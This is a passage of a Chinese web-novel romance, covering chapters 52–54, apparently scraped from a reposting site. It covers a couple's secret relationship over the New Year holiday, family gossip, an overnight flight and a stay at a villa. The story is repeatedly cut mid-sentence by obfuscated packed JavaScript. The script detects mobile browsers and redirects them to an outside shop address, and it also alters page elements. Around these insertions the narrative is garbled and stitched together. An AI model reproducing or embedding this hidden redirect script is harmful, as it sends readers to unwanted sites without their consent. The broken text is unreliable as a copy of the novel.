“小翁有女友了对吧。”林灿这样讲,所有人都愣了下。她补充道:“我听程小姐讲的。我到这里的时候,联系了一下她。” “你有对象了?” 翁乐仪看着蒋凌洲。“是。”手上的这张废掉了,他把它折起来扔到废纸篓里。 “哪里人?在Y市认识的?” 翁乐仪有种将一切脱口而出的冲动。 林灿说:“程小姐说是小翁的同学。” “在Y市的同学?”蒋凌洲插着腰,有些奇怪地眨了下眼睛。 翁乐仪的手机震了一下,是卓繁星的消息,正是姚灵均发过去的照片,附文:【你们在一起?】 【对】翁乐仪手上有墨,打了一个字发过去。 【在写春联?对哦,你家里有这个习惯。好想要一幅呀。星星眼.jpg】 【家里还没挂呢,你提醒我了,物业送过来一份,我明天给挂起来。(?▽?*)】 翁乐仪打了个好字,抬头的瞬间发现蒋凌洲在看着他——对视的时候,他挑了挑眉,眼睛里是探究,或许还有怀疑。 翁乐仪不明白那种心虚的感觉为何又突然出现,这让他没有办法再集中精力,在这个空间里呆着也显得格外憋闷。 他擦了擦手借口离开。 蒋濯衣刚好到家。 “姑娘没带回来?”她见了他,笑着调侃。 “什么姑娘?”二老听了惊奇。“乐仪谈朋友了?”秦奶奶欣喜不已。“是那个小程?” “哪个小程?”蒋濯衣将大衣手套交给保姆,意外自己竟不是这里第一个知道的。 翁乐仪说:“不是程小姐。什么程小姐。”他不明白与她哪里来的关系。 “那是哪家的姑娘?我原先想着那位程小姐也是很好的,还想撮合撮合。”秦奶奶将自己先前的盘算脱口而出,还有知道失败后的沮丧,当然如今外孙有了对象,仍是一桩好事。 他们势必要在翁乐仪嘴里套出一点信息来。 “是,在Y市。” “以前在京市念的书。”这是靠书房下来的林灿小姐提供的情报。 俞秋华感慨道:“没想到你调去Y市还有这样的际遇,看样子是天作的姻缘。这就是缘分来了,挡也挡不住呀。” 秦奶奶满意道:“如今几个孩子都有着落,真是没想到,先前还愁一个两个不肯找对象。” 徐凤笑道:“可不,前段时间还听您讲。眼下您瞧,就是一眨眼的事儿,快的不得了,明年说不定就结婚了,后年啊就让您当上太奶奶了。” “那感情好,我就等着这一天了。”秦奶奶笑的合不拢嘴。“不过还是你家的快,灵均马上就要嫁人了。哎?你家我记得还有个姑娘?后来没见过了,现在怎么样了?” 徐凤没想到她会突然提灿灿,很是愣了一下。 “您说灿灿呐。她在Y城呢......”她顿了顿,还奇怪,怎么也是Y城。没等想明白,姚灵均接的飞快,跟抢答似的,说:“灿灿也谈对象了。” “是吗?” “是呀,是个医生,估摸着也快了。”姚灵均讲的眉飞色舞。 “啥时候讲的?”徐凤顾不上了,自己都惊讶。 “她电话跟我讲的呀。是Y市本地人,别人介绍的,特别合适。”她说的一派笃定,仿佛见过一样。徐凤嘀咕:“回头我问问她。” 秦奶奶感慨:“孩子们都长大了,都挺好。” 老人家笑的和乐,姚灵均趾高气昂,有种扳回一城的感觉。哼哼,回头要叫卓繁星颁个奖给她了,她心满意足,她可没让她在前男友跟前落了下风。 52. 第 52 章 姚灵均不知道翁乐仪硬生生盯着她看了几秒——这稀奇古怪的医生男友从何而来。 翁乐仪发过去的信息说:【你有个医生男友?】 卓繁星一脸问号。 【姚灵均说你有个医生男朋友,发展顺利,天作之合。】 “......” 【她乱讲的。】卓繁星没明白姚灵均的用意,或许是误会了她说的男朋友就是上次同她讲过的赵医生。 【八宝饭吃了吗?】 【吃啦。】她回的很快。 【发来看看。】 卓繁星一下宕机。【还在路上。】 【你根本没有点吧。】 【我只是在考虑要不要干脆出去买。】她慢吞吞地发过去。 明明刚才还说不想出门的。翁乐仪没有戳破她。 【我会早点回来。】 【为什么?】 【你说为什么?】 【我觉得没必要。难得放假,多陪陪家里人。】 翁乐仪仿佛看见那边的人皱着眉毛按着手机,一脸纠结的样子。他干脆打电话过去。 卓繁星接的很快,可是仍有些慌乱。“干嘛打电话,你不是在吃饭吗。” “还没开始。” 卓繁星噢了一声,通话陷入短暂的沉默。翁乐仪呼出一口冷空气,望着远处的山景,开口:“你想我回来吗?” “你要回来吗?” 他们几乎是同时开口,复又沉默。 翁乐仪又说了一遍:“你想我回来吗?” 他的声音低沉平和,独独尾音翘起,透出一点淡淡的谑意。他能明白她或许是不想让他为难,又或许是习惯如此,可结果还是不那么让人愉悦。 她可以要求他。翁乐仪是这样想的。如果她说出来,他会很高兴的。而不是感受她的孤单,这让她想到那天出门时她对小八说的话。 他清了清嗓子,看着远处将要落下的夕阳,空气中的温度也随之落下去。他没有穿外套,这样的气温让人忍不住缩起肩膀。 “灿灿,如果你需要我......”翁乐仪试图平和自己的语气,将心里的话说给她听。她就是一只小猫。在阴雨天里,孤单的小猫。如果她需要他,他可以立刻飞回去。 “我没事呀翁乐仪。我明天还和邵丽丽约好了吃晚饭,真的,你不要担心。好好过年吧。” 卓繁星觉得他很奇怪,不就是回去过个年,她马上也要回去过年了。她只是不放心小八,所以多呆了几天。不然要将猫带回去吗,不方便的,吴家又没有房间住。她已经打算好了,就两天时间交给潘潘,等她初二回来就将它接回来。 翁乐仪沉默了一会儿,说:“好的。” 卓繁星在收拾收拾准备出门的时候——当然她原先是不想出门的,所以只是穿上羽绒外套,带上围巾,加一副口罩。她决定出去散散心,叫冷风吹吹脑子。翁乐仪又发来信息,说替她点好了八宝饭,包含不限于她经常吃的酸奶、蛋糕、还有一箱水果。 【不用出去了,在家等着。】 卓繁星在玄关处,轻轻踢了踢脚边的小八。“哎呀,你爸好像生气了。” 她或许有些不知好歹,可他就真的没有错吗,他想要她说什么,说你快回来,我一个人孤苦伶仃的等你?可事实上她没有孤苦伶仃,也没有等他啊。 年三十的时候,古镇里每家每户都挂着大红灯笼,活水在巷子边的小渠里汩汩流着,夜深之后偶尔能听见从屋里露出来的春晚节目的声音。 王妈他们早就回了家,连吴老爷也被儿子带着去市里过年了,偌大的吴家院子里就剩下了卓强一家。三个人在小房间里呆着,小木桌上放着两个果盘,里头摆了些芦柑青枣,瓜子炒货,还有一些酥糖。 卓繁星坐在小马扎上,边上立着一只老式取暖器,功率强悍,将她的牛仔裤烤的又干又烫。 电视里放着小品,程霞看的哈哈大笑。卓繁星在边上刷着手机,偶尔抬头看看。屏幕上还是和翁乐仪聊天的界面,这几天一切照旧,他不会再提什么来不来的事,仿佛没有发生过。 翁乐仪问她在干嘛,卓繁星说看春晚。【你呢?】附带一个兔子探头的表情包。 【也在看。】 【爷爷问我要你照片,我把我们的合照给他看了。】 卓繁星在手机上的指头停住,过了会儿打字过去:【他认出来我吗?】 【没印象。】 卓繁星不知道自己是不是松了口气,他要知道她是姚馨雅的女儿,先前和他儿子传过绯闻那个不知道怎么想。 【他夸你漂亮。】 卓繁星悄悄掩住翘起来的嘴角。 翁乐仪正在输入中好久,卓繁星等了一会儿也不见他发过来。 程霞说:“灿灿和谁聊天呢?” “朋友,他给我养猫呢。” “你还养了猫呀。” 卓繁星点点头。“领养的流浪猫。” “你和你爸一样,都喜欢猫啊狗啊的,我一点都不喜欢,麻烦的很。” 这时候上了舞蹈节目,程霞看的连连赞叹。“真家伙,跳的真好。这种是不是都是你们那种舞蹈学院出来的?” 卓繁星说:“也不都是。” “有什么好看的,不知道跳什么。”卓强在边上说。 “这还不好。你眼光倒高,给你看你又看得懂伐。”程霞一扭头,触到卓强的目光,愣了下,默默转回去磕瓜子。 卓繁星不晓得他们打的机锋,托着腮看的出神。 天上的月牙儿就一点点,几朵灰云飘在空中。十点钟,卓繁星就从他们房间离开了。她手里拿着一盒卓强塞给她的仙女棒,这是她小时候最喜欢的烟花,过年了一定要有。 卓强现在还要给她买,说:“你以前不是最喜欢这个,还有摔炮,在你新衣服上炸出两个洞来。” 这话他每年都要说一遍。是不是人年纪大了就要念旧。 卓繁星蹲在地上点了一根,烟火刺刺的响,银色的光像朵花一样在手上绽放,没一会儿就烧完了。 她稀里糊涂看着,不知道别人是不是这样,她见着那火一点点烧下去,眼见着要没了,总是会急起来。然后就觉得这急莫名其妙,像是心上栓了根绳子,从它烧起来的时候就开始吊起来。 好看的东西就成了折磨,到后来满心满眼就剩下怎么办,马上就要烧完了,这一个念头, 真是很扫兴的事。 她走出院子,听见对岸酒吧里传来断断续续的音乐,走到桥上,声音就更清晰了。 卓繁星在去酒吧坐坐,还是不去之间纠结。那声音听着是首烂大街的老情歌,实在有些俗气。叫人不觉得是什么能安放心事,好好坐一坐的地方。而今天晚上的酒钱肯定不便宜,她觉得太不划算。 桥没有栏杆,就是几块石板拼出来的,一低头就能看见下面黑幽幽的河水,映出人影,有种金属的冰冷感。 卓繁星插着口袋,仿佛被困住了。既不想回去,又不想去酒吧。她摸出一根仙女棒点燃。刚好有个人路过,免不了要看两眼。卓繁星尴尬地低头,此情此景,实在容易让人误会她是什么孤单的,离群索居的人。 这时候,她不得不承认翁乐仪看出来了:她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她不是说不需要他吗。那今天这个人一定是吃错了什么东西,变成了另一个人,另一个卓繁星。 翁乐仪不知道她这些复杂心思,他只有领口被松开,束缚解除的雀跃。一点一点,由淡转浓,由暗转明,不可谓不多,就像骤然充足的氧气。 “好。”翁乐仪甚至不知道自己的眉眼瞬间扬起。 “好什么?”陈跃听见他的声音,然后转头就对上他称得上灿烂的笑容。 陈跃受惊地往后躲了下。 “许筠的邀请函。”他在地上捡的,估计是他拿外套的时候被扫到地上了。 “那天你要去的吧?”陈跃问道。许筠从舞团出来,自己开了家工作室,他们几个是发小,自然要去捧捧场。 “不一定,应该已经去Y城了。” “有这么赶吗?” “送个花篮去就好了,我也不懂这些。可以给我妈,她应该会感兴趣。” 陈跃点点头,没什么要讲的了,可是对于他对象还是很感兴趣的。“是那个姑娘?” “哪个?”翁乐仪警觉地挑了下眉。 “那天在你妈别墅里,你说亲了你可是回头不认账的那个。真是她,哈哈,你追上了。”陈跃一只手插腰笑道:“那可真是个厉害人物。什么时候能见见?” 翁乐仪诡异地沉默了一秒。 “你见过。” “谁?” “卓繁星。”说出口,翁乐仪有些松快地靠在墙上。 53. 第 53 章 “谁?” 陈跃的表情几乎尬住,怀疑自己听错了。他的目光从翁乐仪脸上划过,划向牌桌上的人。 “凌洲知道吗?” 翁乐仪歪了下头说:“会知道的。” “你怎么和她搞到一起去?” “有什么问题吗?” 陈跃愣了下,接触到他危险的视线,果断摇头。“当然没有。” “所以你现在是去找她?她来京市了?” 翁乐仪点头,眸中的喜悦又涌了上来。“对。”他笑着往外走,风衣的下摆被吹起,他整个人有一种雀跃的幸福感。 陈跃看着他远去,挑了挑眉。里面的人问他在外面干什么,发呆吗?他懒洋洋地摆摆手说来了。 或许奇怪的点在于这姑娘以前和蒋凌洲谈过,可是那又怎样?是啊,那又怎样。 卓繁星在凌晨落地京市,这是个十分冲动的决定,完全凭着一腔热血?这个用词太过血腥,严重,可她也想不出来还有什么能表达出她当时亢奋的心情。 她几乎是在挂了电话后就立即从吴家院子出发,打上车直奔机场。她该庆幸还有一班红眼航班可供选择。不然随着明天太阳的升起,她势必要后悔。即便她身在机场,也未尝没有打道回府的可能。 这趟从Y城飞往京市的航班自然是新年前的最后一班,不过没想到竟然还有这么多人,真是叫卓繁星大开眼界。 她想这时候赶飞机的人,一定是有什么一定要回去的原因。她默默观察,自己在其中并不算突兀。她有一种后知后觉的羞耻感,为什么会如此的矫情,以及喜欢这种偶像剧里罗曼蒂克的情节。 这让她想到自己小时候看金粉世家,金燕西向冷清秋求爱的时候,两条大大的横幅从楼上挂下来,上书“Iloveyou”三个字母,她分明一点也欣赏不来。只有灵均喜欢这样的情节,并和舅妈一起感动不已。 果然爱情使人盲目。 她在飞机上时才有工夫去想,明天卓强他们知道会是什么反应。她有什么理由一定要赶回去呢,他势必要多想,说不定会觉得哪里又让她不开心了。 总而言之,她有点后悔,自己那点矫情的心思折腾出许多事,实在是毫无必要。 飞机落地,她就收到翁乐仪的信息,是在两个小时前发出来的,那正好是跨年的零点。 她不知道他从哪里找来的仙女棒。 下飞机的时候卓繁星头重脚轻,有种混沌的晕眩感。手上只有一只小小的旅行包,亏得是这样,不然她怎么能悄无声息的从吴家离开。 翁乐仪或许以为她睡了,没有再发来任何讯息,只是让她把航班信息发来,他好来接她。 卓繁星在机场大厅停留了四个小时,看着机场从空荡安静到逐渐忙碌,人越来越多,总算没有打扫卫生的大妈大叔投来多余的目光。 玻璃窗外的天空逐渐亮起,她给翁乐仪发去信息时,猜想他肯定还在睡,却没想到那边很快回过来。 【我就在机场。】 卓繁星仿佛听见自己心脏剧烈跳动的声音,一下一下,如同外面升起来的太阳,那么显眼。 她走出机场,翁乐仪的身影很快出现。 他摘下帽子,笑着捋了下凌乱的头发。 “凌晨的飞机?”他接过卓繁星的包,在前面带路。 “2点落地的。” 他们的眼神有短暂的交汇,卓繁星那些落地后关于自己冲动的后悔悉数化为了乌有,仿佛不曾存在过。她想幸好自己连夜定了航班,要是今天她是在吴家院子醒来,她就见不到这样的翁乐仪了。 “我买好了你要的东西就开车过来了。” 翁乐仪过马路时这样讲。他的视线是看着左右行过的车流,偶尔的一个瞬间才会看向她,仿佛是不经意的路过,顺便看一看她。 “那你也在机场。” “嗯。”翁乐仪没有反驳。 卓繁星到了车里才明白,或许他是睡在车里的,她在里面发现了一条还没来得及折起来的毯子。 翁乐仪将后备箱打开,她要的东西就在里面。 他将她的包一并放上去,简短地说:“要拆一包玩玩吗?” 卓繁星不知道他是怎么弄来的,在昨天那个似乎大家都休假的时候,势必不会那样简单,总之不会比平时容易。 他们的视线今天似乎很难定住,总是撞上一会儿就飞速离开,远不如平时的自在。 后备箱还开着,就在两人的头顶,仿佛支起的一顶帐篷。 卓繁星又感觉到他的目光,他一缕微卷的头发落在额头上,整体稍显颓丧的捋在脑后,露出饱满的额头。优越的眉骨在这个冬日清晨有一种冷淡的干净感,下面的眼睛单纯执拗,在她的注视下,凝滞了一瞬,然后稍显羞赧的移开。 翁乐仪说:“灿灿。”呼出的空气带着白雾,他眉宇不自觉皱了下,不知该说什么。“先上车吧。” 卓繁星不知道自己的眼睛像把钩子,或许还是林间跳跃的小鹿,那是一种调皮而又狡猾的生物,可太过可爱,不会让人责怪,却总是让人忍不住去追随亲近,不知不觉就勾引着猎人往丛林深处去。 卓繁星决定收回自己的目光,乖乖听他的话。所以她很配合地往副驾驶去,然而在转身的瞬间,就被拉了回去。脸上的口罩被摘下,那张好看的脸便贴了过来。 卓繁星闻到他身上淡却不容忽视的烟草气,还有薄荷的凉气。他总是有这样的习惯。她猜他在下车前吃了两颗薄荷糖。 翁乐仪的头发落在她脸上,泛起轻微的痒。 翁乐仪只是亲了一下,就放开她,贴着她问:“为什么戴口罩?”为什么一直不摘下来。 他只能看见她的眼睛,在猜测中不确定。 卓繁星说:“如果昨天没上飞机,我就不会来了。你会生气吗?” 她有一丝暗暗的庆幸,幸好来了。她都不敢想,要是自己告诉他昨天是喝醉了说的梦话,他不晓得会是什么反应。 翁乐仪的目光锁着她,鼻尖擦过她的,薄唇微动,给出肯定的回答。 “会。我会很生气。” 你看,她就知道。她暗想自己逃过一劫。 “然后飞去找你。”他用一种拿她没办法的语气开口。“我本来就在机场了,会很方便。” 所以结果是一样的。他将这句话用眼睛告诉她,顺利地在她眼睛里看见流淌出来的笑意。他感到心满意足。那种雀跃经由她的眼睛传递到他的身体里,最后都淹没在彼此的唇舌间。 翁乐仪驱车将卓繁星送到蒋濯衣郊外的别墅,在途中便开始下雪。 卓繁星说:“我将Y市的阴天带过来了吗?” 翁乐仪轻笑一声。电话响起,卓繁星看见是他妈妈的电话。 “我先送你过去,中饭不能陪你吃了。” “没事呀。”他今天肯定要去蒋家拜年,她知道的。 车子在一家大型超市门口停下,他们需要采购一点东西。“那边比较偏。”他这样跟她解释。 卓繁星在看大别墅,和被流放郊外两个思想波动里冲击。“你为什么一定要带我去那边啊?” “那边风景很好。很安静。”后面的三个字适时地顿了顿才出口,卓繁星自然没错过其中的缠绵之意。 翁乐仪是个很会说情话的人吗?卓繁星仔细想了想,好像不是,可是他好像更厉害。不然她怎么会一下子心跳加速,脸也发烫。 这时一辆车往相反的方向驶去,林灿坐在车上,身子往右侧后视镜的方向靠了靠。 “我好像看见小翁了。” 蒋凌洲不经意地扭头,突然一个急刹。林灿猛地往前冲,停下来后抓住安全带惊道:“怎么了?” 蒋凌洲已经解开安全带,推开车门冲了下去。 雪落得并不大,可风中夹着雪粒,天空灰茫,透出些冷寂来。 他的眼睛四下看着,明明刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067357|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在左视镜上看见了,虽然她头发短了,但他确定就是她。 身后的汽车发出尖锐的喇叭声,司机降下车窗,伸头骂道:“喂!你干嘛?别堵路行不行?” “你怎么了?”林灿在车里喊了两声,不明白他到底在发什么疯。 蒋凌洲坐回去,眼中的混乱并未平息。 这一路,十分沉默。 林灿看着他一只手撑着车窗,一只手扶着方向盘,不知在思考什么,侧脸看起来尤为冷峻。 林灿说:“你刚刚怎么了?”她还是忍不住问道。 “好像看见一个人。” “谁?小翁吗?我是看见他了。” 蒋凌洲没有反驳。 林灿想肯定不是他,他不会为了翁乐仪这样失态。 蒋凌洲打着方向盘,摸了摸嘴唇,说:“我听许筠说你答应在她的工作室任教。” “只是客座老师。” 他沉吟一声。“如果你想要其他的发展,有什么要求可以和我提。” 林灿感觉心里一空,像是方才他推开门,一下灌进车里的冷风,打的她措手不及。 “什么要求?我没什么要求。”林灿抱起臂膀,看向窗外。她不明白,明明他家里人都很喜欢她,当然除了俞女士,可是她以为他不排斥带他回家,就是默许了,不就是这样吗。这可是过年,不是什么平常节日。 “我给奶奶带的纪念章,忘在你公寓里了。”她突然开口。 “下次再拿去。”蒋凌洲不在意地讲。 “还有下次吗?”林灿抖着嘴唇,像是个瘪掉的气球。 蒋凌洲睨了她一眼,蹙眉道:“早和你说过了,别对我抱太多期望。” “是你自己给了我希望。”林灿气恼地开口,转过来的眼睛泛出晶莹的水光。“如果你一直不结婚,那我也无所谓,反正也没有差别。” “这么喜欢我?”蒋凌洲挑了挑嘴角,有些嘲讽。 “当然。”他怎么可以怀疑她的真心。 蒋凌洲却毫无愧疚之心。“可是我没有那么喜欢你。” “所以?”装可怜没用是吗,这招失灵了?林灿咬住嘴唇瞪他。她确定,他要再敢说一个字,她就做好了咬死他的准备。 “知道平安夜那天我去哪儿了吗?” 林灿已经磨好的牙齿一下缩了回去。这已经是过去的事了。虽然她的确因此同他争吵过,她明明说过那天她会有一场表演,他却缺席了,但是已经过去了。 他现在提起绝不会是突然良心发现。 “想知道吗?”他还在诱哄,慢条斯理,毫无负担。 “嗯?别告诉我你有一个喜欢了很多年的女孩儿,她是你的初恋,你对她念念不忘,所以回去找她了,然后悲哀地发现她已经结婚多年。是这样吗?” 林灿感谢自己敏感的神经发挥了作用,而且她还足够了解他。 她嘲讽地仰起头,几乎将鼻孔对着他。“这真是个很俗套的故事。当然,如果真是这样,那你真是太可怜了哈尼,我不介意陪你一起喝酒到天明。” 林灿一番话说的飞快,说完后一张脸都变得通红,全是急促的呼吸。她的眼睛定定地望着他,没有移开分毫,显出一种直白的孤勇和单纯。昂起的下巴,代表挑衅与怜悯。 蒋凌洲短暂地怔住,冷脸很快被手盖住,泄出一声短促的笑声。“我发现你的想象力真的很丰富。”随即伸手在她脑袋上狠狠按下去。 “喂!F*k.”林灿同样重重打了他一拳。 “呵呵,我想你不会是这样可怜的人。”她还要添油加醋。“当然,初恋总是意义非凡的,如果真是这样,我也不是不能理解......” “你可以闭嘴了。” 林灿无所谓地耸了耸肩,维持着高傲的神情看向窗外。她赢了不是吗,当然如果忽视她藏在围巾下被掐的通红的手的话。 她看着外面灰暗的天,心想,真是个糟糕的天气。 54. 第 54 章 翁乐仪妈妈的别墅,卓繁星认为或许称之为庄园更贴切。 她有种刘姥姥进大观园的感觉,从车子行驶进茂密的冷杉林开始,她看见一只松鼠跳跃在树干上。 “松鼠,翁乐仪,有松鼠。” “这里有很多。”某人平平无奇地看了一眼她指的方向。 “感觉外面好冷呀。”卓繁星看着外面的树,树干笔直直插天际,远处白茫茫一片,是山上积的雪。 “不远的地方有个滑雪场,还有温泉。” 卓繁星说:“你这样和我到这里来,没关系吗?” “什么?” “过年哎。”她才不信他有这么多时间,而且长辈肯定要问起的吧。 翁乐仪说:“你有什么安排吗?” “既然来了,肯定要去舅妈家拜年。还有几个朋友,问问他们有没有时间。” 翁乐仪说:“我知道了。” “你知道什么?”卓繁星有些心虚。 “知道你不是为了我来的。” 他一本正经地说出这句话,卓繁星没了不好意思,只有好笑。“你本来也没那么多时间给我吧。我发现你挺坏的。” 翁乐仪保持着面无表情,可是唇角还是泄露出一丝淡淡的笑。 卓繁星一下就抓住了。 下了车,守门的一位老先生迎出来,翁乐仪称他关叔。 “屋子都是干净的,我老婆子整理的勤快,刚刚过年前打扫过,就是很久没住人了,有点冷清。不过里面有地暖,冷不到哪里去。” 翁乐仪同他道了新年快乐,并将超市里买来的两个礼盒递过去。 “我们住不了多久,麻烦你们了。” “新年快乐。您太客气了。我昨天钓了两条鱼,一会儿炖了汤给你们送去。很大两条鱼,差点给我拽水里去。” 翁乐仪说:“这是我女朋友,卓繁星。” “卓小姐好,有行李吗?我来拿。” 翁乐仪说:“不用,不是很重。” 卓繁星进门的时候,里面出来了一位系着围裙的妇女。“乐仪。房间我都收拾好了。啊,真是个漂亮姑娘。” 卓繁星受了调侃,脸有些红,后知后觉地问翁乐仪。“阿姨知道我来吗?” “我同她打过招呼。” 卓繁星想那她欢迎她吗。她是知道了翁乐仪要带女友来,还是知道了翁乐仪要带卓繁星来,差的还是有点多的。 她没再问下去,还是有些胆怯。 别墅是一栋整体为白色的建筑,有些复古的英氏风情,内里的装饰以大地色为基底,搭配深胡桃木色的家具。 这里不像翁乐仪在Y市的公寓,似乎更偏向夸张繁复,有一种维多利亚式的风格。 护栏的铁架子都漆成白色,下层种植了许多花草,到了春天势必会非常好看。二层有一间半圆形的露台,窗户是上下双悬窗,卓繁星将窗户推上去,人能踩在露台上。 起居室有老式的壁炉,即便房子里有地暖空调,可是这只壁炉还是必不可少。卓繁星想到吴家厨房里生的火堆,本质上一样的东西,可这个经过打磨,仿佛装在精美的盒子里,让人立即想到坐在旁边喝上一杯热巧克力或者红酒,而不是嗑瓜子吃烤番薯。 卓繁星在这个有些复古的房子里睡了一觉,醒来的时候,翁乐仪已经回来了。 他们在楼下的壁炉旁坐着,外面的天也黑了。 “你要吃点什么吗?” 卓繁星一时想不起来,她在暖呼呼的环境下,想吃冰淇淋。 翁乐仪说:“我们买了吗?” “好像没有。” “那就喝点饮料吧。” 他调了两杯酒回来。卓繁星说:“这个是怎么生起来的?这些木头就是后面山上的吗?我还以为这种林木都是不允许被砍伐的。” 翁乐仪说:“用不了那么多。” 地上铺着柔软的羊毛毯子,卓繁星索性坐在地上,背靠着丝绒沙发。 “外面的雪下大了?” “嗯,要下到明天。” 她让翁乐仪将这只壁炉点起来。“你教我,我来点。”她实在是很感兴趣,考虑到他的腿不方便,于是自告奋勇。 翁乐仪跪下来,叫她去把柜子上的报纸拿过来。 壁炉里产生的气体会被导出去,翁乐仪说那边的花房里有些设计,还可以用于花房的供暖。 “你去花房看过吗?”他跪在地上扭头问她。 卓繁星愣了下说没有。“还没来得及。你一走我就睡觉去了。”她被他挺翘的屁股吸引住,实在是这个姿势太惹人注意。 “那里的西洋杜鹃开的很好。” 翁乐仪还浑不知情,拿出火柴点燃撕下来的报纸。 听见身后的笑声,他奇怪地扭头。 卓繁星说:“你的屁股好翘啊。”还有修长的腿,全被包在修身的西装裤里。 翁乐仪惊讶地挑了下眉。“你可以再无聊一点吗。” 他将引燃的报纸放到木头上,甩火柴的姿势,有种潇洒劲。 卓繁星像是见到了什么新奇的东西,一下将他扑倒。 翁乐仪张着手,完全愣住。 “干什么?” “投怀送抱。” 卓繁星听见他胸膛里传出来的笑声,又一下撑起来,盯住他。“还有强抢民女。噢,不,民男。” 翁乐仪完全放松下来。卓繁星穿了一件珊瑚绒睡裙,他在刚看见的时候就有种小动物的感觉。他想到拇指姑娘,可以随身带进口袋里,带着去任何地方。 卓繁星仿佛听见了他的想法,趴在他胸前,安静又乖巧。 火焰烧过木头,散发出一种松木的清香。两个人都有些懒洋洋的,温暖的环境十分安静,只有木头燃烧时发出的声音。 翁乐仪一只手垫在脑后,一只手抱住她。 卓繁星却在他刚抱住她的时候,一下跳了起来。 “我听见了。” “什么?” “你的心跳声。它在说,灿灿,我好喜欢你呀。” 翁乐仪没忍住一下笑出来,笑的老高,一点都不像他平时的样子。他干脆靠在手肘上,望她。“我以前怎么没发现你这么自恋。” “难道不是吗?”卓繁星翘着嘴。“谁眼巴巴去机场等我,等了一个晚上。” “你很骄傲?” “我只是在陈述事实呀。” 翁乐仪一下拉住她,卓繁星只来得及发出一声短促的叫声,就被压在下面。 “你干嘛?” “我也想听听你的心跳。” “不要......流氓。” 胸前的布料一团乱,卓繁星红着脸将他的一条手臂死死抱住。 翁乐仪在她发烫的脸上蹭了蹭,说:“我也听见了。” “听见什么?”她还没缓过来呢。 “它说我想你了。” “什么?” “我想你了。” “噢,我知道呀。” 翁乐仪失笑,眼睛里亮着温暖的光,在她额头上重重亲了一下。 起居室的钢琴上摆了许多照片。有他妈妈的单人照,还有许多合影——有幼年时的翁乐仪,还有他们一家三口的照片。 卓繁星说:“你是更像你妈妈还是爸爸?” 翁乐仪敲着琴键,看见她手上的合影。 “可能还是更像我爸。” “我感觉你比叔叔更柔和一些。” “那大约是从我妈身上遗传来的。” “基因果然很重要啊。”卓繁星坐到他身边。“可是叔叔和阿姨都不是卷发哎。” “我奶奶是。这里没有她的照片。”他看了一眼钢琴台子。 “叔叔和阿姨是怎么认识的?” “校友,他们一起在剑桥念书。” “谁追求的谁?” 翁乐仪没想到她会对这个故事这么好奇,这个蒋女士很喜欢讲的浪漫故事。 “可能是我妈主动的。” “啊~”卓繁星十分感叹。“果然能让阿姨主动的不是一般人,叔叔难追吗?我猜肯定抵挡不了多久吧。” 他几乎没有抵挡。翁乐仪默默在心里讲。 “先甩人的也是她。”他有些恶作剧地开口。 卓繁星果然愣住,随即更加崇拜。 “阿姨果然是我辈楷模。帅哥千千万,何必吊死在一棵树上呢。” “你是这样想的?”翁乐仪停下手上的动作。 卓繁星乖巧点头。 “再给你个机会,修正一下。” “为什么要修正。”卓繁星敏捷地跳起来,瞬间跑走。 卓繁星在第二天清晨见到了一盆开的美丽无比的杜鹃,这让她想到春天。 “怎么可以开的这样好?”她抚着渐变的粉色花瓣,它们一团团像纸扎出来的。 翁乐仪说:“等到45月份,墙头会有一大片,会更漂亮。” 卓繁星说:“到时候你拍照给我看。” “为什么不能过来看。”翁乐仪回答的很自然。 他们在别墅里也就呆了两天。离开的时候翁乐仪问她:“要不要去见一见爷爷?” 卓繁星有些受惊地看着他,他解释道:“反正他已经看过你照片了。” “我有点紧张。” “你们不是见过?” “那不一样。”卓繁星撒娇道:“下次吧,我觉得还是有点快了。” 卓繁星去了姚家拜年。 她来的突然,姚家长辈难免奇怪,不过正赶上卓繁星先前的一位老师退休,徐凤听说是在许筠的工作室办谢师宴,以前的学生基本都来了。她想约莫是这样。 姚灵均则嗅出些不一样的味道,卓繁星进门没多久就被她拐到自己房里。 她抱臂睨她。“说吧,怎么想到过来的?” “不是你叫我来的?” “那能一样?我先前叫你来你怎么不来!这时候倒听话了。老实交代,是不是有鬼?” 卓繁星温吞吞道:“我能有什么鬼。你男朋友呢?刚好叫我见见。” “你别岔开话题啊,你赶紧给我交代了。” 徐凤上来敲门。“灿灿,你中饭在家里吃。我已经叫保姆去买菜了,一定要在家里吃。你这是干什么?像什么样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卓繁星到底没见过胡昊天,可是天然地就替她担心。“结婚前一点不舒服也要掰扯清楚啊,别稀里糊涂的。” 姚灵均烦躁地叹气。“还是不结婚的好,谈恋爱的时候没这么多事。我感觉我对他没什么意见,就是不喜欢他妈。灿灿,你以后要是找老公一定要记住,家里人还是很重要的。” 卓繁星一下想到翁乐仪漂亮又优雅的妈妈,好像难度更大。 徐凤提起卓繁星还有一些东西在这儿,都是她以前没来得及带走的,都收到阁楼里的储物间。卓繁星找到了念书时候的课本笔记本,姚灵均说:“我妈没舍得卖,说反正卖了也值不了几个钱,不如留着作纪念。” 卓繁星对舅妈其实是十分感激的,她虽待她并不亲近,但是很公平。从小姚灵均有的,她都会给她,是个十分敞亮的人。 一只玉桂狗十分显眼,她把它从防尘布里掏出来,不小心按到里面的按钮。 “生日快乐,灿灿。” 蒋凌洲的声音一下传出来。 